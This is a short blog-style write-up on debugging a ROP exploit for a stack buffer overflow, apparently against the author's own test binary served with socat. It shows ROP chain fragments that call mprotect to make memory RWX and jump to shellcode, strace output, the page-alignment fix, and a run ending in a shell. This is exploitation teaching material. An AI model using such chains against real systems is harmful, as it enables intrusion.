I was trying to exploit a stack-based buffer overflow in a binary that was supposed to be
run on the network, but my exploit kept crashing after the mprotect call,
and it couldn't be an offset issues, since I spent time making sure that it wasn't,
by returning to an invalid address like 0x42424242.
It was a classic ROP payload, that wrote my payload somewhere, called
mprotect, and finally jumped to it. But it was crashing with a segfault:
Oct 29 01:26:35 kaa kernel: [90302.119608] original[29004]: segfault at 8049530 ip 0000000008049530 sp 00000000ffffd43c error 15 in original[8049000+1000]
This is the relevant part of my exploit:
print('[+] Sending stage2 (call)')
s.send(rop(
readplt,
pop3ret,
0,
write_addr,
512,
mprotect,
pop3ret,
write_addr,
512,
1 | 2 | 4, # RWX
write_addr
))
I was using socat to run it:
socat TCP-LISTEN:2323,reuseaddr,fork EXEC:./mybinary
By the way, can you guess what is wrong (there is not badchars)?
I could of course modify my exploit to be runnable inside GDB with some trickery. Unfortunately, I had to leak some offset, involving some ping-pong between the binary and my exploit. This is at best awkward to do in GDB. Of course I could disable ASLR, but this is not elegant, nor practical for some binaries.
Instead, (thanks again to crowell for the idea),
I kept my original payload, but ran the binary under strace(1), filtering on
write(2), and returned to perror(3):
s.send(rop(
readplt, # read our shellcode into memory
pop3ret,
0,
write_addr,
512,
mprotect, # mark it rwx
pop3ret,
write_addr,
512,
1 | 2 | 4, # RWX
perror, # get mprotect's error
popret,
0,
write_addr # jump to our shellcode
))
$ socat TCP-LISTEN:2323,reuseaddr,fork EXEC:'strace -e trace=write ./mybinary'
[ Process PID=30062 runs in 32 bit mode. ]
write(1, "\2601\356\367", 4) = 4
write(3, "Invalid argument\n", 17Invalid argument
) = 17
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_ACCERR, si_addr=0x8049530} ---
+++ killed by SIGSEGV (core dumped) +++
Way more readable!
So, it seems that we're providing an "Invalid argument" to mprotect. A quick glance to the manpage (that I should have read in the first place) tells use that: addr must be aligned to a page boundary..
$ getconf PAGE_SIZE
4096
So, here is the correct code:
write_addr -= (write_addr % 4096)
s.send(rop(
readplt,
pop3ret,
0,
write_addr,
512,
mprotect,
pop3ret,
write_addr,
512,
1 | 2 | 4, # RWX
perror,
popret,
0,
write_addr # jump to our shellcode
))
And that's it:
$ python exploit4.py
[+] Sending stage1 (leak)
[*] GOT at 0xf7ee31b0
[*] mprotect at 0xf7eef2d0
[*] read at 0xf7eef5c3
[+] Sending stage2 (call)
[+] sending stage3 (payload)
$ id
uid=1000(jvoisin) gid=1000(jvoisin) groups=1000(jvoisin),4(adm),11(lpadmin),27(sudo),30(dip),46(plugdev)
$